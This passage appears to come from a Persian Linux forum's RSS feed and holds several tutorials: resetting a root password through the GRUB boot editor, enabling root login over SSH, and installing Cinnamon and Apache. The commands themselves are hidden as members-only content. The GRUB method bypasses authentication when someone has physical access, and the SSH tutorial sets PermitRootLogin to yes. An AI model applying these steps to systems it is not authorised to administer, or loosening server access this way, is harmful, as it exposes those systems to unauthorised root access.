<ul class="mycode_list"><li>پس از بوت شدن لینوکس بدون درخواست کلمه عبور وارد محیط متنی با دسترسی کاربر ریشه می‌شود.<br />
</li>
</ul>
تا اینجا فایل سیستم / یا ریشه به‌صورت فقط خواندنی (Readonly) مانت شده است که می‌بایست توسط دستور زیر به حالت نوشتنی (Writeable) مجدداً مانت شود.<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<ul class="mycode_list"><li>توسط دستور زیر برای تغییر کلمه عبور کاربر ریشه اقدام کنید.<br />
</li>
</ul>
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<ul class="mycode_list"><li>پس از وارد نمودن این دستور از شما کلمه عبور جدید درخواست می‌شود که می‌بایست آن را وارد نمایید.<br />
</li>
</ul>
<ul class="mycode_list"><li>سیستم خود را restart نموده و مجددا بوت کنید.<br />
</li>
</ul>
<br />
<br />
موفق باشید.<br />
<br />
<br />
<br />
<br />
</div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;" class="mycode_align">شاید تا به حال برایتان پیش آمده باشد که کلمه عبور کاربر ریشه یا همان root را فراموش کرده باشید. در این آموزش به نحوه چگونگی ریست نمودن رمز عبور خواهیم پرداخت.<br />
<br />
 <span style="font-style: italic;" class="mycode_i">از آنجایی که اکثر توزیع‌های مدرن از Grub Version 2 استفاده می‌کنند در این آموزش هم فرض بر این است که Boot Loader سیستم شما نسخه دوم Grub است.<br />
</span><ul class="mycode_list"><li>سیستم خود را restart کنید تا وارد صفحه اصلی Boot Loader یا همان Grub بشوید.<br />
</li>
<li>سپس در صفحه انتخاب سیستم عامل، لینوکس مورد نظر را انتخاب کنید و دکمه e را فشار دهید.<br />
</li>
<li>پس از فشردن دکمه e وارد یک محیط ویرایشگر متنی می‌شوید که می‌توانید تنظیمات مربوط به Boot نمودن لینوکس را مشاهده و تغییر دهید.<br />
</li>
<li>به کمک دکمه‌های مکان‌نما به خطی که با عبارت زیر شروع می‌شود بروید.<br />
</li>
</ul>
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<ul class="mycode_list"><li>خط زیر را به انتهای این خط اضافه نمایید.<br />
</li>
</ul>
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<ul class="mycode_list"><li>دکمه F10  و یا   Ctrl+X را فشار دهید تا لینوکس با تنظیمات داده شده بوت شود.<br />
</li>
</ul>
<ul class="mycode_list"><li>پس از بوت شدن لینوکس بدون درخواست کلمه عبور وارد محیط متنی با دسترسی کاربر ریشه می‌شود.<br />
</li>
</ul>
تا اینجا فایل سیستم / یا ریشه به‌صورت فقط خواندنی (Readonly) مانت شده است که می‌بایست توسط دستور زیر به حالت نوشتنی (Writeable) مجدداً مانت شود.<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<ul class="mycode_list"><li>توسط دستور زیر برای تغییر کلمه عبور کاربر ریشه اقدام کنید.<br />
</li>
</ul>
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<ul class="mycode_list"><li>پس از وارد نمودن این دستور از شما کلمه عبور جدید درخواست می‌شود که می‌بایست آن را وارد نمایید.<br />
</li>
</ul>
<ul class="mycode_list"><li>سیستم خود را restart نموده و مجددا بوت کنید.<br />
</li>
</ul>
<br />
<br />
موفق باشید.<br />
<br />
<br />
<br />
<br />
</div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[آموزش حذف پسورد یوزر root در لینوکس]]></title>
			<link>https://forum.romaak.ir/showthread.php?tid=2992</link>
			<pubDate>Mon, 05 Jun 2017 23:19:49 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.romaak.ir/member.php?action=profile&uid=1">saberi</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.romaak.ir/showthread.php?tid=2992</guid>
			<description><![CDATA[<div style="text-align: justify;" class="mycode_align">یوزر روت یکی از یوزر های پرکاربرد در linux است اما برای امنیت بیشتر بهتر است که آن را در سیستم های که به شبکه متصل هستند فعال نکنیم یا در صورت فعال بودن با دستورات زیر آن را غیر فعال کنیم.<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
<span style="font-weight: bold;" class="mycode_b">حذف پسورد یوزر root</span><br />
توزیع اوبونتو که بر پایه Debian شکل گرفته و به قول خودش پرتگاه تکنولوژیست از امکانات و پویایی بسیاری برخوردار است و همین باعث شده که حتی ویکی مدیا هم که خالق دانشنامه WikiPedia است در سپتامبر 2013 تعداد زیادی از سرور های خود را به Ubuntu تغییر دهد.اما این سیستم عامل محبوب و جذاب در نسخه های اخیر خود که شاملد 13.04, 13.10 و 14.04 TLS هم میشود امکان ورود و استفاده از کاربر Root را از طریق Terminal را محدود کرده و باعث شده که بسیاری از ما احساس نا خوشایندی را احساس کنیم.<br />
<br />
با استفاده از این دستورات می توان پسورد root را برداشت و با استفاده از sudo در لینوکس با یوزر های دیگر دسترسی ای که می خواهیم را داشته باشیم.<br />
در این آموزش با کمک دو مرحله کاربر root را فعال خواهیم کرد.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">مرحله اول: تنظیم پسوورد برای root</span><br />
با دستور زیر برای کاربر root کلمه ای عبور تنظیم میکنیم:<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
شما دو مرتبه باید این کلمه عبور را تغییر دهید تا تنیجه نهایی به شکل زیر باشد:<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
<span style="font-weight: bold;" class="mycode_b">مرحله دوم: اضافه ورود root در openssh</span><br />
ابتدا باید دسترسی Super User یا root را بدست آوریم که با دستور زیر و تایپ کلمه عبوری که در مرحله اول تنظیم کردیم امکان پذیر خواهد بود.<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
حال باید فایل /etc/ssh/sshd_config را با ویرایشگر محبوبتان(که اینجا از nano استفاده میشود) باز کرده و مقدار PermitRootLogin را برابر yes قرار بدهیم.<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
اگر شما از nano استفاده می کنید با زدن کلید ترکیبی ctrl+o متن جدید را ذخیره و با کلید ترکیبی ctrl+x از محیط ویرایشگر خارج شوید.<br />
در آخر هم نیاز است تا OpenSSh را ریستارت کنیم<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
اگر همه مراحل را به دستی انجام داده باشید باید بتوانید توسط ssh به کاربر root متصل شوید.<br />
<br />
</div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;" class="mycode_align">یوزر روت یکی از یوزر های پرکاربرد در linux است اما برای امنیت بیشتر بهتر است که آن را در سیستم های که به شبکه متصل هستند فعال نکنیم یا در صورت فعال بودن با دستورات زیر آن را غیر فعال کنیم.<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
<span style="font-weight: bold;" class="mycode_b">حذف پسورد یوزر root</span><br />
توزیع اوبونتو که بر پایه Debian شکل گرفته و به قول خودش پرتگاه تکنولوژیست از امکانات و پویایی بسیاری برخوردار است و همین باعث شده که حتی ویکی مدیا هم که خالق دانشنامه WikiPedia است در سپتامبر 2013 تعداد زیادی از سرور های خود را به Ubuntu تغییر دهد.اما این سیستم عامل محبوب و جذاب در نسخه های اخیر خود که شاملد 13.04, 13.10 و 14.04 TLS هم میشود امکان ورود و استفاده از کاربر Root را از طریق Terminal را محدود کرده و باعث شده که بسیاری از ما احساس نا خوشایندی را احساس کنیم.<br />
<br />
با استفاده از این دستورات می توان پسورد root را برداشت و با استفاده از sudo در لینوکس با یوزر های دیگر دسترسی ای که می خواهیم را داشته باشیم.<br />
در این آموزش با کمک دو مرحله کاربر root را فعال خواهیم کرد.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">مرحله اول: تنظیم پسوورد برای root</span><br />
با دستور زیر برای کاربر root کلمه ای عبور تنظیم میکنیم:<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
شما دو مرتبه باید این کلمه عبور را تغییر دهید تا تنیجه نهایی به شکل زیر باشد:<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
<span style="font-weight: bold;" class="mycode_b">مرحله دوم: اضافه ورود root در openssh</span><br />
ابتدا باید دسترسی Super User یا root را بدست آوریم که با دستور زیر و تایپ کلمه عبوری که در مرحله اول تنظیم کردیم امکان پذیر خواهد بود.<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
حال باید فایل /etc/ssh/sshd_config را با ویرایشگر محبوبتان(که اینجا از nano استفاده میشود) باز کرده و مقدار PermitRootLogin را برابر yes قرار بدهیم.<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
اگر شما از nano استفاده می کنید با زدن کلید ترکیبی ctrl+o متن جدید را ذخیره و با کلید ترکیبی ctrl+x از محیط ویرایشگر خارج شوید.<br />
در آخر هم نیاز است تا OpenSSh را ریستارت کنیم<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
اگر همه مراحل را به دستی انجام داده باشید باید بتوانید توسط ssh به کاربر root متصل شوید.<br />
<br />
</div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[آموزش نصب میزکار Cinnamon 3.2 در اوبونتو]]></title>
			<link>https://forum.romaak.ir/showthread.php?tid=1818</link>
			<pubDate>Wed, 07 Dec 2016 22:11:44 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.romaak.ir/member.php?action=profile&uid=60">farnaz</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.romaak.ir/showthread.php?tid=1818</guid>
			<description><![CDATA[<div style="text-align: justify;" class="mycode_align">چند روزی از عرضه‌ نسخه جدید میزکار محبوب <span style="font-weight: bold;" class="mycode_b">Cinnamon</span> می‌گذرد. باتوجه به این که یکی از مزیت‌های <span style="font-weight: bold;" class="mycode_b">لینوکس</span> را می‌توان استفاده از میزکارهای متنوع دانست، بسیاری از کاربران <span style="font-weight: bold;" class="mycode_b">اوبونتو</span> تمایل به استفاده از میزکار Cinnamon در کنار میزکار پیش‌فرض اوبونتو یعنی Unity دارند. در این مطلب ابتدا تغییرات مهم در Cinnamon 3.2 بررسی شده، سپس نحوه نصب آن بر روی اوبونتو ۱۶.۰۴ و نسخه‌های بعدتر عنوان می‌شود.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">تغییرات مهم Cinnamon 3.2</span><br />
میزکار پیش‌فرض لینوکس مینت، در نسخه‌ جدید خود تغییرات متعددی داشته که از مهمترین آن‌ها می‌توان به پشتیبانی از پنل‌های عمودی در دو طرف میزکار، پشتیبانی از نوتیفیکیشن‌های صدادار، رفع باگ‌های متعدد و ساده‌تر شدن مدیریت والپیپرها اشاره کرد.<br />
<br />
<div style="text-align: center;" class="mycode_align"><img src="http://romaak.ir/up/do.php?img=2573" loading="lazy"  alt="[تصویر:  do.php?img=2573]" class="mycode_img" /></div>
<span style="font-weight: bold;" class="mycode_b"><br />
نصب Cinnamon 3.2 در اوبونتو</span><br />
اگر از نسخه‌های ۱۶.۰۴ یا ۱۶.۱۰ اوبونتو استفاده می‌کنید، به راحتی و بدون هیچ‌گونه مشکلی از طریق وارد کردن فرمان‌های زیر قادر به نصب میزکار ۳.۲ Cinnamon بر روی اوبونتوی خود خواهید شد. توجه کنید که با نصب این میزکار هرگز میزکار پیش‌فرض خود یعنی Unity را از دست نخواهید داد بلکه قادر خواهید تا قبل از ورود به سیستم، از بین میزکارهای موجود یکی را انتخاب کنید.<br />
<br />
برای این کار ابتدا محیط ترمینال را اجرا کرده سپس فرمان‌های زیر را وارد کنید:<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
<br />
دستور آخر موجب دریافت و نصب میزکار سینامون به همراه تمام وابستگی‌های مربوطه خواهد شد. پس از اینکه عملیات نصب با موفقیت صورت گرفت، از میزکار یونیتی خارج شوید و هنگام ورود مجدد، میزکار سینامون را انتخاب کنید.<br />
<br />
<div style="text-align: center;" class="mycode_align"><img src="http://romaak.ir/up/do.php?img=2574" loading="lazy"  alt="[تصویر:  do.php?img=2574]" class="mycode_img" /></div>
<br />
<br />
</div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;" class="mycode_align">چند روزی از عرضه‌ نسخه جدید میزکار محبوب <span style="font-weight: bold;" class="mycode_b">Cinnamon</span> می‌گذرد. باتوجه به این که یکی از مزیت‌های <span style="font-weight: bold;" class="mycode_b">لینوکس</span> را می‌توان استفاده از میزکارهای متنوع دانست، بسیاری از کاربران <span style="font-weight: bold;" class="mycode_b">اوبونتو</span> تمایل به استفاده از میزکار Cinnamon در کنار میزکار پیش‌فرض اوبونتو یعنی Unity دارند. در این مطلب ابتدا تغییرات مهم در Cinnamon 3.2 بررسی شده، سپس نحوه نصب آن بر روی اوبونتو ۱۶.۰۴ و نسخه‌های بعدتر عنوان می‌شود.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">تغییرات مهم Cinnamon 3.2</span><br />
میزکار پیش‌فرض لینوکس مینت، در نسخه‌ جدید خود تغییرات متعددی داشته که از مهمترین آن‌ها می‌توان به پشتیبانی از پنل‌های عمودی در دو طرف میزکار، پشتیبانی از نوتیفیکیشن‌های صدادار، رفع باگ‌های متعدد و ساده‌تر شدن مدیریت والپیپرها اشاره کرد.<br />
<br />
<div style="text-align: center;" class="mycode_align"><img src="http://romaak.ir/up/do.php?img=2573" loading="lazy"  alt="[تصویر:  do.php?img=2573]" class="mycode_img" /></div>
<span style="font-weight: bold;" class="mycode_b"><br />
نصب Cinnamon 3.2 در اوبونتو</span><br />
اگر از نسخه‌های ۱۶.۰۴ یا ۱۶.۱۰ اوبونتو استفاده می‌کنید، به راحتی و بدون هیچ‌گونه مشکلی از طریق وارد کردن فرمان‌های زیر قادر به نصب میزکار ۳.۲ Cinnamon بر روی اوبونتوی خود خواهید شد. توجه کنید که با نصب این میزکار هرگز میزکار پیش‌فرض خود یعنی Unity را از دست نخواهید داد بلکه قادر خواهید تا قبل از ورود به سیستم، از بین میزکارهای موجود یکی را انتخاب کنید.<br />
<br />
برای این کار ابتدا محیط ترمینال را اجرا کرده سپس فرمان‌های زیر را وارد کنید:<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
<br />
دستور آخر موجب دریافت و نصب میزکار سینامون به همراه تمام وابستگی‌های مربوطه خواهد شد. پس از اینکه عملیات نصب با موفقیت صورت گرفت، از میزکار یونیتی خارج شوید و هنگام ورود مجدد، میزکار سینامون را انتخاب کنید.<br />
<br />
<div style="text-align: center;" class="mycode_align"><img src="http://romaak.ir/up/do.php?img=2574" loading="lazy"  alt="[تصویر:  do.php?img=2574]" class="mycode_img" /></div>
<br />
<br />
</div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[آموزش نصب آپاچی به دو روش نصب pakage و نصب از طریق سورس]]></title>
			<link>https://forum.romaak.ir/showthread.php?tid=1621</link>
			<pubDate>Sun, 09 Oct 2016 06:58:34 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.romaak.ir/member.php?action=profile&uid=1">saberi</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.romaak.ir/showthread.php?tid=1621</guid>
			<description><![CDATA[<div style="text-align: justify;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">آپاچی</span> یک سرویس دهنده میزبان وب است که به دلیلی سورس آزاد بودن، پایداری، قدرت و تا حدودی امنیت شهرت زیادی کسب کرده است. از مزایای آپاچی میتوان به فراوانی ماژول ها و مد های آن اشاره کرد که به مرور آموزش نصب آنها را برای شما قرار می دهیم. از معایب آپاچی مصرف بالای رم و منابع می باشد که با یک کانفیگ مناسب عملکرد آن بهبود خواهد یافت.<br />
<br />
<div style="text-align: center;" class="mycode_align"><img src="http://romaak.ir/up/do.php?img=2150" loading="lazy"  alt="[تصویر:  do.php?img=2150]" class="mycode_img" /></div>
<span style="color: #008000;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><br />
نصب آسان – نصب از طریق Package Installer</span></span><br />
برای نصب بر روی سیستم های بر پایه Redhat و Centos کافیست دستور زیر را وارد نمایید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
اجرای فرمان بالا در وضعیت root آپاچی را نصب و اجرا می کند.<br />
<br />
برای نصب در سیستم عامل های بر پایه Debian و Ubuntu نیز می توانید دستوز زیر را اجرا کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
<br />
<div style="text-align: justify;" class="mycode_align"><span style="color: #008000;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">نصب آپاچی از طریق سورس</span></span><br />
در سیستم عامل های بر پایه Redhat نصب آسان از طریق RPM یا Redhat Package Manager صورت می گیرد. به محض اینکه شما دستور نصب یک بسته نرم افزاری را به RPM می دهید بصورت خودکار چک می کند که بسته نرم افزاری شما به چه پیش نیاز های نرم افزاری نیاز دارد و بصورت خودکار آن را نصب می کند. خب وقتی شما می خواهید وب سرور آپاچی را از طریق سورس نصب کنید باید ملزومات نرم افزاری را بصورت دستی نصب کنید.<br />
<br />
در ابتدا ملزومات آپاچی را نصب می کنیم :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
نکته: ممکن است آپاچی نسخه خاصی از نرم افزار های بالا را مد نظر داشته باشد! با این ترتیب ممکن است نرم افزار های مورد نیاز نصب باشد اما بدلیل بالا بودن یا پایین بودن ورژن آپاچی، آن بسته نرم افزاری را قبول نکند. این موضوع ارتباط مستقیم با نسخه آپاچی مورد نظر شما دارد. البته آپاچی در ارور ملزومات ورژن مورد نیاز خود را اعلام می کند، ممکن است RPM ورژنی را نصب کند که آپاچی با آن سازگار نیست در این صورت شما باید بسته نرم افزاری مربوط را از طریق سورس نصب نمایید.<br />
<br />
وارد سایت دیدن لینک ها برای شما امکان پذیر نیست. لطفا <a href="https://forum.romaak.ir/member.php?action=register">ثبت نام کنید</a> یا <a href="https://forum.romaak.ir/member.php?action=login">وارد حساب خود شوید</a> تا بتوانید لینک ها را ببینید.<br />
 شده و نسخه آپاچی مورد نظر خود را دانلود کنید. نسخه پایدار آپاچی در حال حاضر ۲٫۲٫۳۱ است که برای این آموزش این نسخه را دانلود می کنیم.<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
برای ورود به پوشه مربوط به آپاچی و مشاهده تنظیمات آن دستورات زیر را بزنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
با زدن دستورات زیر تنظیمات پیشفرض آپاچی اعمال شده و آپاچی در دایرکتوری پیشفرض خود /usr/local/apache2 نصب می شود. البته ما  DSO را نیز فعال کردیم که قابلیت استفاده و لود ماژول های دلخواه در زمان اجرا را به آپاچی می دهد.<br />
<br />
برای نصب و کانفیگ دستورات زیر را وارد نمایید:<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
</div>
<div style="text-align: justify;" class="mycode_align"><span style="color: #ff6600;" class="mycode_color"><br />
نکته : اگر در زمان کانفیگ با ارور زیر مواجه شدید این پیغام خطا مربوط به نصب نبودن ملزومات نرم افزاری است که در ابتدا توضیح داده شد.</span><br />
<br />
پیغام خطای نمونه :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
پیغام خطای بالا مربوط به نصب نبودن gcc است.<br />
<br />
برای اجرا اپاچی میتوانید از دستورات زیر نیز استفاده کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<span style="font-weight: bold;" class="mycode_b"><span style="color: #008000;" class="mycode_color"><br />
فعال کردن اپاچی برای اجرا در Startup سیستم عامل برای حالت نصب آسان – RPM </span> </span><br />
برای یک سرور این یک امر مهم است تا سرویس ها مهم ان در زمان شروع بکار سیستم بعد از maintenance یا restart بصورت خودکار شروع به کار نمایید. برای این کار کافیست سرویس را chkconfig لینوکس قرار دهیم :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
برای اطمینان از فعال شدن سرویس در chkconfig دستور زیر را بزنید:<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
که خروجی باید چیزی شبیه به این باشد :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<span style="font-weight: bold;" class="mycode_b"><span style="color: #008000;" class="mycode_color"><br />
فعال کردن اپاچی برای اجرا در Startup سیستم عامل برای حالت نصب از سورس</span></span><br />
برای این کار باید فایل etc/rc.d/init.d/httpd را توسط ویرایشگر باز کرده :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
این خطوط را مشاهده کرده در صورت نبودن اضافه کنید و در صورت اشتباه بودن ویرایش کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<span style="color: #ff6600;" class="mycode_color"><br />
نکته : یادتان باشد این خطوط به توجه به نصب در حالت پیشفرض در نظر گرفته شده است.</span><br />
<br />
حالا می توانید دستورات زیر را برای نصب در حالت سورس بکار ببرید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
برای چک کردن وضعیت آپاچی در Startup سیستم نیز می توانید از دستور زیر استفاده کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
</div>
</div>
</div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">آپاچی</span> یک سرویس دهنده میزبان وب است که به دلیلی سورس آزاد بودن، پایداری، قدرت و تا حدودی امنیت شهرت زیادی کسب کرده است. از مزایای آپاچی میتوان به فراوانی ماژول ها و مد های آن اشاره کرد که به مرور آموزش نصب آنها را برای شما قرار می دهیم. از معایب آپاچی مصرف بالای رم و منابع می باشد که با یک کانفیگ مناسب عملکرد آن بهبود خواهد یافت.<br />
<br />
<div style="text-align: center;" class="mycode_align"><img src="http://romaak.ir/up/do.php?img=2150" loading="lazy"  alt="[تصویر:  do.php?img=2150]" class="mycode_img" /></div>
<span style="color: #008000;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><br />
نصب آسان – نصب از طریق Package Installer</span></span><br />
برای نصب بر روی سیستم های بر پایه Redhat و Centos کافیست دستور زیر را وارد نمایید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
